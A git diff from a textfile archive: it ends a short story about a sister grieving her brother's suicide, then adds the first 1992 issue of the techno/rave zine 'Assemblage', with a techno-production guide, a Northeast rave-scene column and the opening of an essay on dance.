closed -- vaulted like that +of a coffin's -- for over a year. For over a year she and her parents +had lived in a mechanical stoicism, coming, going, interacting, yet +avoiding what they tried so hard to bury. For over that year she had +listened to the silent echoes of her brother's ghost wandering and +mocking them on his visits in the dead of night. + +As Leah stared at the closed door in front of her, lost memories +entwined with lost emotions consumed her. The brass knob of the closed +door glared back at her, daring her, taunting her, to take hold of it, +turn, and go beyond it. A strange cold feeling rose inside her as her +pulse sped up a notch. She slowly reached out for the knob. +Encircling, enclosing her warm fingers around its cold smooth surface, +she hesitated and swallowed hard, then finally turned it. Click!!! She +quickly pulled her hand away, startled by the loud clicking noise that +cut the veil of silence. Now unlocked, Leah gently pushed the door +open. It creaked a little, and she let it open a mere crack. Then, +gaining a bit more courage, she pushed the door fully ajar, and took a +step inside. + +The soft pastel colors of twilight graced through the sheer white +curtains of the windows, casting an eerie hue upon his furniture. Leah's +eyes wandered over the details of the room. Everything was just as she +remembered. On the top of Coty's shelf, dressed in dust, yet shining +just as it always had, was one of Coty's greatest prides: his treasured +golden baseball trophy. Folded in a neat pile next to it was his +beloved lucky red and white baseball jersey and cap. His enormous pile +of comic books occupied the rest of the shelf. His bed was still neatly +made, with his baseball glove tossed casually over the pillow, as if he +had just stopped by today after baseball practice and tossed it on his +bed. His computer sat in silence on his desk, accompanied by a pile of +Coty's textbooks, and a couple of computer disks sprawled carelessly on +the edge of his desk. Sheets of unfinished lyrics, untitled songs, and +music never played lay stacked between the computer and the disks. Next +to his bed, still covered with dirt and mud, were Coty's sneakers, the +same pair that she had jokingly claimed to have stenched up the whole +house. Her eyes finally, reluctantly, wandered toward the one thing +that she had tried to avoid looking at: the disheveled mop of wavy dark +brown hair, the gentle and sincere dark brown eyes sparkling with +amusement, and the unforgettable lopsided grin. Coty. She walked over +to the nightstand where his picture stood. She stared at the face that +had been absent from her life for over a year. A tight knot twisted +inside her stomach, and for a moment the air around her seemed to +thicken, suffocating her. She noticed an envelope peeking out under the +picture frame. Scrawled upon this envelope was her own handwriting, +addressing it to Coty. She gently took it from under the picture frame. +Instead of disturbing any part of Coty's room by sitting on his chair or +bed, she kneeled down on the floor next to his sneakers. Inside the +envelope was a letter she wrote to Coty after he died, along with the +farewell poem Coty had left behind for everyone. She tenderly unsealed +the envelope and unfolded the letter. Her pink stationary paper was +still smooth and fresh. The places where her teardrops fell were +exposed by the scattered bleeding flaws of the ink writing. + + + + May 6, 1990 + + +Dear Coty, + +The beautiful red roses I left for you last week have now dried and +wilted. The once silky petals have fallen, and the stems are turning +into an ashy shade of brown. They said it was your body they found +washed up by the lake. They said it was suicide. I couldn't go look at +it, nor could Mom. Only Dad went and confirmed that it was you. +Grandma and Grandpa flew in from Endocino. Everything has been so +chaotic. Your funeral was last Monday. Mom freaked out. Logan was +there and she couldn't stop crying. She had the class ring you gave her +dangling around her neck, and she wore your baseball jersey under her +black blazer. She was so upset, she made me cry. I held her hand as +they lowered your body down into the cold earth. + +I should be very upset with you. You lied to me. All those nights when +we talked till the morning, I thought I knew you so well. I told you +everything. You were the only one I told when I lost my virginity to +James. Why didn't you tell me something was wrong? I would've tried to +understand, I would've done anything, everything to help you. Coty, how +bad was it to make you kill yourself? I can't believe you are gone, +Coty. I don't want to believe it. Damn you! How could you do this?! +It feels like you've stolen from me. You took a part of me down with +you into that grave. You took with you all those unborn memories, that +now will never be conceived -- ever. I hate you for that. Do you realize +that you will never get that record deal? Do you realize that you've +given up on any chance of making your dreams come true? What kind of +farewell poem is "Happily Evermore"? How could you leave Mom, Dad and +me with all these pieces that we can't fit into a picture? + +I don't think I can ever forgive you Coty. + + + Leah + + + +She felt a dull familiar ache in her heart. Suicide... Coty... +Suicide... Coty.... Suddenly she felt cold all over. Her hand holding on +to the letter began to tremble. Her vision blurred with the rush of +tears, and she closed her eyes to try to stop the flood. She wiped the +tears that squeezed their way out. Why?! Why?! The unanswered question +screamed angrily through the tunnels of her mind. She remembered the +nights she had lain awake waiting for the phone to ring, hoping to hear +Coty's voice on the other end, telling her it was just a joke. He +wasn't dead at all. As a matter of fact, he'd been touring with his +band, and they'd finally acquired a recording contract. They had just +finished recording their debut album, and he'd be home soon to surprise +everyone.... + +Slowly, hesitantly, a memory danced into her mind. It was the night she +and Coty had snuck out together when they were in junior high school. +They were prohibited from going to a high school party, but Coty had +this great idea of sneaking out of the house by climbing out through her +window. They'd had such a hard time climbing down the tree, she scraped +her leg, squealed in pain, and they had gotten caught. She could still +see the many nights that Coty would climb through her bedroom window +because it was past curfew and coming in through the back or front door +would wake Mom and Dad up. + +"Coty what are you doing? It's 3:45 a.m.," she had mumbled sluggishly. + +"SHHHH!" he'd shushed her, with a mischievous glint in his eyes. "My +car ran out of gas." He grinned that adorable lopsided grin. + +"Yeah right!" she'd teased. + +"SHHHH!" + +Leah shook her head now, as if to wipe those images out, and put down +the letter. She opened the envelope again and took out another piece of +paper. This paper was wrinkled. She had crumbled it a year before in +frustration. It was the farewell poem Coty had left behind for +everyone. She had read and reread this poem countless times, searching +for a clue, a hint, anything to explain why Coty had taken his own life. +A chill crawled down her spine as she began to read the all too familiar +words written by Coty. + + + +HAPPILY EVERMORE + +Encased within this flesh +A diseased young mind, +Lives a depraved soul +The endowed gift of mine. + +In battlefields of life +Some wounds never mend, +And despondency has +Victored in the end. + +Yet there is a heaven +I have once been told, +Sweet serenity awaits +Behind gates of gold. + + Coty + + + +She missed him so much that it hurt, almost physically. She didn't +understand the poem, she didn't understand anything anymore. Inside, +she felt exhausted and drained. She tilted her head up to look at +Coty's picture. His lopsided grin seemed to mock her now as she sat +knelt down on his floor, tear stained, shivering uncontrollably, and +holding on so dearly to the last and only part of him that he left for +her and her family. This crumbled, tattered, year-old note, which made +no sense to her, was the last tangible element of himself that Coty had +left. + +Sometimes she thought she understood Coty's reason for suicide. She too +lived behind the shadow of an overpowering, overachieving father. A man +who never accepted Coty; a man who had impossible standards for his +family; a man who never acknowledged any element of imperfection or +error. At times she thought that he saw Coty as the embodiment of all +those blemishes and defects. Coty's focal interest lived in the spheres +of his singing and baseball, both of which their father regarded as +passing phases. Their father had other plans for Coty: his son would +attend his alma mater University of Pennsylvania, major in business, and +follow in his entrepreneurial footsteps. But Coty had plans of his own. +Leah remembered the many fights Coty had with their father. She was +there to see the pain in Coty's eyes after the fights. She was there to +hear his heart-breaking sobs, as he'd fought to hold on to the dream +that he had painted for himself, while their father had vehemently tried +to tear it away. She remembered too that sometimes she had cried with +him and sometimes for him. She remembered that suppertime. Everyone +was sitting in their places around the dinner table, beneath the new +crystal chandelier that their father had just purchased, hovering over +their elegantly furnished dining room like a great sparkling cadaver. + +"Dad, I was telling Mom and Leah this earlier. Um, my band and I were +asked to perform for the annual "Battle of the Bands" concert. If we +win, there'll be a contract waiting for us with Atlantic Records. I got +some tickets, and I was wondering if you'd like to come?" Coty asked +their father. + +Silence. + +"And on Saturday, recruiters from some of the best colleges will be +coming to watch the playoff games, I figured you might want to be there +too." Coty tried again. "Coach told them about me, and--" + +"Coty, when are you going to stop these trifling pastimes of yours and +take your life seriously?" Their father spoke in the calm, restrained +tone that he had begun to use more and more often with Coty. + +"Dad, I am very serious." + +"Coty, you will not squander your life away singing for nickels or +playing catch. A loser is not what I raised you to be and that's final." +Their father had put down his eating utensils and glared at Coty. + +A look of desperation shaded over Coty's eyes. He slowly got up from +his seat. Their father resumed his dinner. He seemed impervious to +anything Coty said. + +"Dad I'm your son. Please accept me as I am." Coty's voice cracked a +little. His face paled, his eyes darkened, and his jaw stiffened. Leah +watched the vein on his temple throb as it always did when Coty was +upset. + +Their father chewed his food in silence, his eyes never moving towards +Coty's direction. He wiped his mouth with a napkin, and asked his wife +what was for desert. Coty slowly shook his head, tears filling his eyes +as he turned and left, leaving them sitting beneath the hovering crystal +chandelier. + +Few words ever had to be said between Coty and their father to spark a +battle. Their war was always smoldering. That same night Leah stayed +up listening to Coty in his room. She sat secretly, outside in the +hall, leaning against his closed door. Behind the closed door, Coty +bashed and shattered objects she couldn't see. She could envision him +crying with his heart wrenching sobs that echoed behind the door. She +too wept. + +Then there was their mother: the silent and supportive woman. The +woman who never stood up to her husband. The one person who never dared +to oppose him. In the eyes of her children, she was the dainty, frail +silhouette next to the looming, daunting, opaque shadow of her husband. +Yet she believed in Coty. Leah remembered her softly whispering words +of encouragement to him. "If it's what makes you happy, if it makes you +feel whole, then Coty, follow it with all your heart, son. It will +never lead you astray." Coty looked at her weakly, with a dim light of +conviction and hope in his eyes, and nodded in acceptance. + +Leah looked down at the pink stationary paper now, and gently folded it +back along the original creases. A particular conversation that she had +had with Coty kept peeking in and out of the back of her mind. For an +entire year she wouldn't allow herself to remember. But for the first +time in a long time, she let herself recall. It had been the summer of +1989, and their father had decided to rent a quaint little beach cottage +in Cape Cod. It was their first night there, and she and Coty were +sitting on the beach playing a game called "Truth." It was a game they +used to play in their preadolescent years, questioning each other about +personal things, while vowing under an oath to never reveal what had +been confessed by the other to anyone else. Leah could still hear their +tinkling laughter mingling with the crackling of the campfire they had +built. + +"So, this thing between you and Logan, how serious is it?" she asked +him. She watched the shadows of the fire dance over his face. He +grinned and an amused glint appeared in his eyes. "The truth, Coty. No +vague macho response." + +"We're getting too old for this game," he said. He glanced down at his +baseball cap. "Know what we are? We're too young to be what we want to +be, and too old to be what we were. We're in limbo, Leah. We've been +shot out on this tangent..." + +"Coty, let's not get all deep and profound on such a beautiful night." + +They had both been gazing up at the Cape Cod night. The half moon +dangled like a silver charm over a star studded velour gown of the +indigo sky. From the distance they could hear the melodious rhythm of +the cadencing waves of the ocean. But Leah thought she saw tears +glistening in the corners of Coty's eyes, as he gazed up at the infinite +starlit dome. + +"Want to hear something I wrote a few nights ago?" he asked her. + +"Sure," she answered softly. She was a bit concerned over this sudden +change of mood in him, this swing from flippant-buoyancy to an almost +brooding-muse. He reached into the pocket of his jeans and pulled out a +wrinkled piece of looseleaf paper. Leah watched him looking at her +before he spoke, as if searching for something in her expression. + +"This isn't one of my songs, it's just some thoughts I've concocted." +He spoke in a sad, soft, melancholy tone: "We were given birth into this +world without our consent. We think we are bestowed with promises that +were never really made to us. Promises of happiness, success, and +fulfillment. But life is empty, and it's up to us to make it what it +is. We are given no concrete path, no blanket in life. Life is a death +trap. Life is a morning flower in bloom. She is the impartial judge; +she is a mystery; she is a song; she is a wound; she alone is eternity. +She will endure, even after we are gone." He paused after this last +sentence before proceeding. "There is no meaning in life. When we +realize this, we create little dramas, little excuses to go on living. +We make a meaning, we knit a string and tie it to the illusion we drew, +and we hang on to it, holding on for dear life. We light a candle from +the dancing flames of St. Elmo's Fire....To follow, to aspire for, to +aim for, and to live for....But how can I protect, and nourish my +delicate, growing dream, before the fire of St. Elmo dwindles, dims, and +fades?" Coty took a deep sigh, and smiled weakly. + +"That's beautiful Coty." + +"I read somewhere that during times of peace, sons carry their fathers' +coffins to the grave. And during times of war, fathers carry their +sons' coffins to the grave." He had swung back to his flippant mood. +He smiled his lopsided smile. "Know what sis? You're right, it is a +real cool and pretty night." + +As that vision receded, Leah found herself again looking up at Coty's +picture, still watching and mocking her. Coty. There were so many +things still left unsaid. She gently folded the wrinkled page of Coty's +poem and placed it, and her letter, back in the envelope, then back +under the picture frame. + + + + June 14, 1991 + +Dear Coty, + +I miss our talks. I miss your smile. Above all, I miss you. There was +a time when all I was able to do was wonder about you. There was a time +when I left my life on pause, because I missed you so much. Sometimes, +at the weirdest times, I feel like you're still here, watching us. Are +you? It hasn't really been the same here without you. For a while, I +thought you might come back. But I guess you're not. Mom is fine. +Dad's fine also. I'm doing okay. I was visiting your room last week. +But don't worry, I didn't lay a hand on anything. Your sneakers don't +smell anymore, your comics are still there, and so is your baseball +stuff. All those songs you wrote are still there. I put them all into +a folder, so don't worry, I'm preserving them. Maybe one day, I'll find +someone to revive them, sing them, and make them real for you. I think +I'll dust your things up for you every week. You know, Dad has changed +a lot since you've been gone. He's stopped bossing me around, figuring +out my life for me. I told him about my plans to not attend college, +but to pursue a career in dance, and he didn't even raise an eyebrow. +He even mumbled something along the lines of "good luck." He and Mom +have been attending this support group for parents of teens who +committed suicide. + +For a while, it had been real quiet around here. But yesterday, Mom and +I went shopping, and it was the first time, in a long time that we did +that. We laughed -- together. That was weird, I mean, to hear myself +laugh with Mom again. You should also be pleased to know that Logan and +I have become quite close. She's not the you-know-what I thought she +was. Anyway, I left you a fresh vase of beautiful red roses on your +shelf, next to your gleaming trophy (which I polished for you). I have +to get ready for a date now. I'm still seeing James. He's really been +great, Coty. He helped me out through a very rough time. + +I guess it's time to begin a new chapter, a new story. Life goes on. +My life can't stop for the life of another, not even yours. I guess I +felt guilty about that at one time. But I think I know you understand +now, Coty. Wherever you are Coty, I hope you're singing a happy tune, +and playing baseball. And Coty, I wish you eternal peace. + + + Love, + Leah + + + +The closed room didn't seem to be vaulted anymore. Today, the door knob +wasn't glaring at her, and didn't even seem to acknowledge that she was +there. Yet she stood, a little apprehensive, and a little hesitant +about entering the room again. As she turned the knob, and pushed open +the door, her reservations slowly subsided. + +Again, the room seemed to be just like it was when she last left it. +The sweet perfume scent of roses painted the air. She slowly walked +over to Coty's shelf. The vase of red roses she had left stood next to +his trophy. She looked at the pink envelope she held in her hand, then +she looked over at Coty's picture. He didn't seem to be mocking her +anymore. He was smiling his charming lopsided smile, and for a second, +she thought she caught herself smiling back at him. But then she +realized it was just a picture. Ever-so-gently she reached up on the +shelf and placed the pink envelope, which contained her new letter to +Coty, under the vase of roses. She breathed a sigh of content. She +walked back to his doorway, letting her eyes wander over the room one +more time. Everything seemed to be as it had been, with the exception of +the new vase of red roses and the pink envelope that now lay under it. +Leah met Coty's eyes one more time, and silently she smiled, and nodded +to him. Then she exited, hesitating for just a slight second, before +closing the door quietly behind her. diff --git a/textfiles.com/magazines/MISC/assem1-1.txt b/textfiles.com/magazines/MISC/assem1-1.txt new file mode 100644 index 00000000..adea77ed --- /dev/null +++ b/textfiles.com/magazines/MISC/assem1-1.txt @@ -0,0 +1,408 @@ + ________________________________________________________ + + /\ . . . . . . . . . + /__\ s s e m b l a g e techno \/ music V 1.1 + / \S S E M B L A G E rave /\ culture NOV 92 + + issue editor russell potter rapotter@colby.edu + ________________________________________________________ + + _Assemblage_ is a deliberately ephemeral, occasional, mobile + journal that will publish reviews of techno/rave music, raves, + dances, along with articles on the social implications of this + music (if any). Freelance reviews, signed or unsigned, are + welcome. + +Editorial Staff: + +Robert Campanell robcamp@well.sf.ca.us (cyberpunk) +Michael Pisano mpisano@magnus.acs.ohio-state.edu(theoretical articles) +Russell Potter rapotter@colby.edu (reviews, theory) +Bob Crispen crispen@foxy.boeing.com (record reviews) +Frederick Wolf Frederick.Wolf@um.cc.umich.edu (Detroit scene, reviews) +Robert Hooker hooker@aristotle.ils.nwu.edu (the theoretical side) +Arthur Chandler arthurc@sfsuvax1.sfsu.edu (reviews, thought pieces) +Laura La Gassa laura@usl.com ("The Flux Tube" (NE Rave Scene)) +Andy ndc@engin.umich.edu (reviews, scene stuff) +Johan Dowdy jwdowdy@colby.edu (reviews) +taylor808 TOD3253@ACFcluster.NYU.EDU (tech,cyberpunk stuff) +Joe Turner cutter@silver.lcs.mit.edu ("Kickin' Phase" (Tech Tips)) + + +=========================================================== +I S S U E 1 C O N T E N T S +=========================================================== + +Columns [Assemblage part 1] : + +Kickin' Phase: "Techno: The 12-Point Program" -- Errata Stigmata + +The Flux Tube -- The East Coast Rave Scene as Seen by Laura La Gassa + + +Articles [Assemblage Part 2]: + +Russell Potter, "DANCE: Music, Body, and the Reign of the Senses" + +Robert Hooker, "Reflections on the Rave Generation" + +Arthur Chandler, "Have We Been Here Before? -- Hippies & Ravers, 60s & 70s" + + +Music Reviews [Assemblage Part 3]: + +The Techno Sound of Berlin, Swamp, Radition, Acid Drill, Lords of +Acid, Underground Resistance, World Power Alliance, Sysex, +C.Y.B.E.R.F.U.N.K., Circuit Breaker + +[reviewed by Andrew Crosby and Russell Potter] + +Rave Reviews + +Halloween Rave, Greensboro NC -- Reviewed by henders@eos.ncsu.edu + +======================================================================== +*Assemblage* 1.1. Copyright (c) 1992 by *Assemblage* for the contributors +(unless otherwise noted); this text may be freely shared among individuals, +but may not be reprinted without prior permission from the author(s). +======================================================================== + + + +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +K I C K I N' P H A S E +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +b y E r r a t a S t i g m a t a + + +TECHNO: The 12-POINT PROGRAM +---------------------------- + +TECHNO - the sound of ten million whining chainsaws melted into a +disco record with a bad attitude on speed. Must be easy to make one +o' them there thangs, eh? Hrmph! About as easy, as they say, as root +canal -- but fun nonetheless, and you CAN do it if you want to. + +Techno, while ultimately very diverse, is actually a very rigidly +defined style. Your first Techno song, if you're not a latent genius, +will probably sound pretty derivative; don't fret, and don't give up +if you suddenly realise your creation uses the same changes as the +latest Twin EQ disc. Just as a lot of rock sounds interchangeable (on +the surface) because it's just two guitars, bass, and drums, a lot of +Techno ends up sounding similar because of the ingredients needed to +make it. + +"Writing" a Techno song doesn't follow any of the same patterns as +writing a pop song. Techno, with very few exceptions, is based on the +jam-in-the-studio method of writing: you get in front of the drum +machine and keyboard, and you just go nuts. Whatever works, you keep, +and then change/modify until you like it (or you hate it and throw it +away). If you don't like something, save it anyway; having old ideas +around often lets them "compost" in your head, and they may come out +later in a different and better form. + +The process of writing a Techno song is very linear, if you're having +a really good day and the muses are with you. A basic drum pattern is +created, then a simple bass line is added over it, and then a main +chord or sound to fill it out gets laid over the top. Frills can then +be added on, such as samples and effects. The samples can come +earlier in the process, if the sample is integral to the song. + +The kick drum is almost always the first thing to be written. Techno +uses a beat called "four on the floor" almost exclusively. What that +means in english is that for each measure of a song, there are four +kick-drum beats. You know, THUMP THUMP THUMP THUMP. You can +experiment with this, and play around with syncopating it a little. +Variety is the spice of life -- but if Fred the Raver can't dance to +it, it won't do well. Be inventive but know when to stop. The choice +of kick drum is also important; make sure you use a sound that has a +good fast attack and isn't flabby or hollow. Most drum sound sources, +depending on whatever you're using as a drum unit (you can use a +sampler with drum sounds loaded, or a drum machine), will have a +variety of sounds to choose from. The Alesis SR-16, for example, has +about 25 kick drum sounds. + +Once you have the kick pattern set, start experimenting with hi-hat +patterns and snare drum fills. Use the snare very sparingly, if at +all. Keep it low in the drum mix (most drum machines will let you +control the volume of each drum individually), and avoid heavy, +rock-like drum sounds (unless you are going for a particular one-time +effect). Keep the drum line percolating but simple -- the urge to +make a very complex drum line is strong, I know, but less is truly +more. + +If you are going for a stereotypical hardcore Techno sound, you will +probably want to put that grindy REEET-REEET sound in that everyone +and their mother uses (if you're not sure what noise I mean, and +through the printed medium I'm sure some people won't, just grab your +ancient copy of "James Brown is Dead" and fixate on the annoying buzzy +grinding sounds). Take your sampler and the nearest heavy metal +record you can find, and sample a bit of pure guitar noise. Just a +half-second will do, just enough to loop. (You should read your +sampler's manual if the term "sample and loop" confuses you; basically +it means "take the sampled sound and have it play over and over and +over if you hold a key down". The shorter the sample, the more +unearthly the loop usually is.) Pitch-bend that sucker to hell. + +If you're going for something a bit more housey or trancey, any good +analog or digital synth will do. Moogs are nice; Juno 60's are +better; Jupiters are worth killing someone for. Go nuts with +bloopy and blorpy arpeggiated sounds. If you're lucky, your unit can +control how fast it arpeggiates by looking at how fast your sequencer +is going (by looking at MIDI information), and you'll have some snappy- +sounding acid basslines. + +If you have listened carefully to *any* Techno, you may have noticed +that not only are chords optional, they're usually nonexistant. This +doesn't mean you have to make something totally atonal; however, don't +concentrate on figuring out how to get from the Lydian mode in the +break back to Dorian mode in the main section. The ravers won't care, +and so shouldn't you. Most Techno does not vary from one or two +chords over the course of a song, so don't sweat it. + +Vocal samples are fun, but optional. They can either add to the +recognisability of a song ("I'm the One and Only Dominator!", "Shut +the fuck up, bitch, you can't sing!") but they can also get incredibly +annoying if used too much ("...Dominator" and various Public Enemy +samples being prime offenders in past years. Hey, anyone remember +"this is a journey into sound..."?) A whole book could be written +about attempting to match the rhythm of your sample with the rhythm of +your song, but in general, don't worry about speeding the sample up if +you have to, or slowing it down. Most DJs will adjust the speed of +their turntable, anyway. + +Your song should groove, but it should also change and build. Don't +be afraid to put breaks in. "Break" can either literally be a silence +of so-many beats, or it can be short for "breakdown", where you strip +the song down in an interesting way -- take the kick out, let the +piano glide byt itself for 4 bars, or whatever. DJ's like breaks, +especially in intuitive places (try to keep things in even numbers of +bars) and when they can hear it building. The chances that your +record will be played by itself in its entirety is pretty slim, so +make it interesting; don't just let it sit there and grind away for +four minutes. + +Now that you understand the basics of the process, you must +meet two major requirements if you have ANY pretentions about making +Techno: nearly infinite patience, and nearly infinite money. + +Money first. Forget all the hype about LFO plopping a Casiotone down +on tape and having instant success with it; the equipment needed to do +all the stuff I just described ain't cheap. + +If you plan on doing a housey-trancey song (much easier than a +hardcore samplefest), you will need: + + o A sequencer ($200/$400 used/new) -OR- + o A home computer such as a Macintosh, IBM-PC, Amiga, or + Atari ST ($700/$1500 used/new) plus + good sequencing software ($200). + o A drum machine ($200/$400 used/new). + o A synthesiser ($300/$1500 used/new). Most newer + digital synths are MIDI-fitted; some older + analog synths are, also. Some VERY old synths + may need a MIDI "retro-fit", which can be VERY + expensive. + o A multichannel mixer ($25-$150/$50-$500 used/new). + Four channel at least, six channel is nice. + Radio Shack sells a good six-channel mixer; + don't beleive anyone who tells you that you + need twelve channels. + o An open-reel audio tape recorder ($500/$1000 used/new) + for sending your gem to the mastering plant. + o Buttloads of audio and MIDI cables ($50-$200). This + is the hidden cost that everyone forgets + about. + +If you don't want to wear headphones, and your neighbors are 80 and +deaf, you can also get: + + o A PA power amp ($200-$500/$500-$1000 used/new), at + least 100 watts a channel. + o Two PA speakers which you should call "cabinets" or + else you'll look like a total neo ($200/$500 per pair + used/new). Make sure they have good bass, and that + they'll match the amp you buy. + +If you DO want a samplefest, then you can also count on buying: + + o A sampler! ($400/$1000 used/new) Make sure it has + enough memory to choke an elephant. Most samplers + will have enough to sample about 15 seconds in mono. + o Lots of disks ($50) -OR- + o A hard disk drive ($200/$400 used/new) to save + samples on. Some home computers have "sample library" + software and can store samples on disk, and modify + them. + +If you just won the lottery and have money to burn, don't forget your: + + o Multitrack recorder ($250-$7,000/$500-$20,000 + used/new). Four-tracks are useful, but eight-tracks + are better for doing some really inventive tricks. + o SMPTE time-code reader/writer (if you have to ask, + you can't afford it, used OR new). Hook this up to + your sequencer and record many tracks of synced-up + music. Useful only if your synth is limited or if you + want to do VERY layered stuff. + +You may pick your jaw up from the floor now -- but put it back down +because even for bare-bones stuff, getting even 1000 records pressed +requires $200 for mastering and EQ, plus five cents per sleeve, plus +about $700 for the actual vinyl. + +IT'S NOT CHEAP. Unless you traffic in stolen goods, or unless you +have lots of generous friends with equipment to loan, you will end up +blowing close to $2000 on a basic set-up. + +This is by no means a complete guide; rules were made to be broken and +Techno definately breaks a LOT of rules. Read the manuals then throw +them away and play intuitively. Listen to a lot of Techno and then +put a Patsy Cline album on before you go into the studio. Be calm but +take risks. Play things for your friends, and send demos to anyone +and everyone. Go to raves and really talk to DJs about what they like +to play. Listen carefully to your friends jizz over what they've +bought and what they like. Remember: it will sometimes take 20 bad +songs before you write that first good one. + +...and fer gosh sakes, keep a sense of humor about it all. Ain't +nothing less fun than a pompous musician! + + +======================================================================== + +The Flux Tube + +A Column Depicting the East Coast Rave Scene as Seen by Laura La Gassa + +======================================================================== + +This issue's topic: A Raver's Map of the North East + +Raving on the East Coast often involves a lot of driving, and the core +of dedicated ravers will travel anywhere from one to eight hours for an +event. This results in a lot of good friendly parties since a portion of +the people will have made a special effort to be there, and because the same +faces keep popping up, lending a small neighborhood feel to a large geographic +area. Interstate 95 links the major cities on the East Coast, and as such +links the major rave centers. Let's take a drive . . . + +MAINE: Way up north in Portland, K.C. and the Sunrise Gang throw raves +about every two months. These are generally small (compared to the huge New +York and Washington raves) and breakbeat oriented. I have never attended any +of these raves, but a reputable raver reports that the last party, CRUSADE +held on October 10, was excellent. + +MASSACHUSSETS: The Boston rave scene as such is pretty much non-existent. A +large number of enthusiastic ravers live in and around Boston, but they have +been able to have very few rave parties within the metro-Boston area. There +are decent clubs with good techno nights (Venus and Axis), but everything must +close down at 2.00 am so it's difficult to get an all-night vibe going unless +it is at a private party held in someone's apartment. Occaisionally +after-hours parties are thrown at underground locations, but these are prone to +being busted. I attended a good after hours party Labor Day weekend, thrown by +self-proclaimed Boston scene leader Debo and DJ'd by Debo and Long Island's +trance god Onionz, but it was closed down at 7.00 am because of noise. The +exception to all this is a legal Fridays-only after hours club called The +Loft, which runs from midnight until about 6.00 am. The Loft is a beautiful +space, and a welcome addition to the +now-overrun-by-overly-drinking-college-student Axis, but it lacks the +atmosphere and energy of a non-club rave. Debo planned to throw a warehouse +rave in Boston proper, but moved the location 45 minutes west to Worcester +after someone else tried a non-rave-related party there and got busted at +2.00 am. + +Worcester has had two other sucessful raves, both called BOLD. I worked the +door at the second one, held October 17. Over 160 ravers turned up from +Hartford, Providence, and Boston, as well as from the immediate area. The +DJ list at BOLD II was spectacular if you are trance-oriented: Dave Trance, +James Christian, and Dante. Other DJ's spun breakbeat and acid as well. + +RHODE ISLAND: Providence, aside from being Rhode Island's rave capitol, +is the defacto center for the Boston rave scene. It is supposed to be +easier legally to throw raves in Providence than in Boston, and three +seperate organizations ensure that there is at least one party in the city +every month. Word of mouth tells me that the best raves are the QUEST raves. +I was at their first rave and thought it was wonderful. They had an excellent +location near a 24-hour donut shop, and allowed re-entry so hungry ravers could +fuel up. The music was a mixture of styles, from the hardcore of Adam X +and Jimmy Crash to the breakbeat of Mayhem to the trance of James Christian. + +The ORACLE organisation held their first rave October 9. I did not attend, +but heard that there were underage kids blatantly drinking beer outside +the front door and that the rave was busted around 3.00 am. The organizer of +the ORACLE rave was arrested and taken away in handcuffs for selling food +without a license. The third organisation, MICHELANGELO, has also had two +raves. Word of mouth says that their first one was really bad, but their +second was an improvement. + +CONNECTICUT: I am under the impresson that Connecticut ravers travel +a lot, because I know there are lots of people in Connecticut that +rave but I never hear of any raves out there. I could be wrong . . . +they could just be very underground. I never claimed to be *that* well +connected with the rave scene . . . . + +NEW YORK: New York seems to always have to do everything the biggest and +the best on the East Coast, and raving is no exception. It was announced +that the last Storm Rave in New York City drew over 5000 people, but one of +the promoters told me that there were only about 1670 paid admissions. This +discrepancy seems very odd, because I was at the rave in question and it +looked to me that four to five thousand seemed like an accurate count. +Offshoots of the Storm Rave Organization frequently throw raves of their own, +so there is ALWAYS something going on in the metro-New York area. + +Since I adore deep deep trance techno, Sattellite Production's raves are a +welcome addition to the Storm Raves. This group is based upstate in +Poughkepsie, and have had two good parties so far: SPUTNIK and SPUTNIK II. +At SPUTNIK there were two dance areas, one featuring mostly hardcore and +the other with trance/breakbeat/house. SPUTNIK II featured a wide range +of DJ's, opening the night with housey happy breakbeat, moving into +hardcore, and finishing off with two of the most amazing trance sets I +have ever heard: DJs Rob Sherwood and Onionz should be cannonized. All +the Sattelite raves are held in roller skating / skate board parks, which +is a neat twist from spending the night in a place with no real bathrooms +(okay, so I'm a wimp). Their next rave will be December 5th, and is called +EXPLORER I. + +NEW JERSEY: The New Jersey scene is incredibly underground, so underground +that members of the raving community there don't even admit they are part +of it. I will respect them and not name names and places here until they +get things off the ground and go a bit more public. They've had a run of +bad luck lately: every rave they've thrown since August has gotten closed +down, and in September their sound equipment was seized. + +PENNSYLVANIA: Philadelphia and Pittsburgh are the rave centers. The two +main groups in Philadelphia are the Vagabonds, who host parties in various +clubs on various nights around town, and Dead by Dawn, who have held at least +two raves in the city. Dead by Dawn's last two raves have had police +run-ins. At the first a raver was stabbed (by someone not connected with +the rave or raving) outside the rave location, and the second (at a +different location) was closed down around 1.45 am. They will try again. + +I'm not too sure exactly what's going on in Pittsburgh, except that a group of +people who I know out there are throwing a nice big rave November 13th. +Pittsburgh ravers travel a lot also, frequently going down to Washington and +New York. + +DELAWARE: The Delaware ravers I know usually travel to Baltimore, +Philadelphia, and Washington. If anything else is happening, I haven't +heard about it . . . yet. + +MARYLAND: It seems to be easier to stay open late around Baltimore, so +several clubs have late night parties with techno music. Also, a number +of the raves advertised in DC are actually in Maryland. + +WASHINGTON, DC: The Catastrophic organization puts on the most and the +largest raves in Washington. They get amazing lighting effects, including +argon lasers, and draw all the top DJs. I've never raved down in Washington +either, but I heard that the last two Catastrophic raves were excellent as +far as huge raves go. In warmer weather a number of smaller, simpler, +outdoor raves happen under bridges and in parking garages. + +[END *ASSEMBLAGE* PART 1] + ________________________________________________________ + + + + diff --git a/textfiles.com/magazines/MISC/assem1-2.txt b/textfiles.com/magazines/MISC/assem1-2.txt new file mode 100644 index 00000000..f1f9db3b --- /dev/null +++ b/textfiles.com/magazines/MISC/assem1-2.txt @@ -0,0 +1,403 @@ + ________________________________________________________ + + /\ . . . . . . . . . + /__\ s s e m b l a g e techno \/ music V 1.1 + / \S S E M B L A G E rave /\ culture NOV 92 + + issue editor russell potter rapotter@colby.edu + ________________________________________________________ + + _Assemblage_ is a deliberately ephemeral, occasional, mobile + journal that will publish reviews of techno/rave music, raves, + dances, along with articles on the social implications of this + music (if any). Freelance reviews, signed or unsigned, are + welcome. + + ==================================================== + BEGIN PART 2 + ==================================================== + + DANCE! + + Music, Body, and the Reign of the Senses + + Russell A. Potter + + (c) 1992 Russell A. Potter + This text may be freely shared among + individuals, but may not be republished + in any form without the consent of the + author. + + +1. The dance as a sovereign gesture. + + In Georges Bataille's text, _Sovereignty_, he delineates a +cultural domain, a domain that is sovereign in the sense that it +is neither _for_ nor _about_ anything else. The sovereign, for +Bataille, is opposed both to utility and objectivity; it is +useless, it disdains use, and it scorns the (bourgeois) world of +'things.' It chooses the present rather than the past or the +future; the transgressive rather than the obedient; its domain is 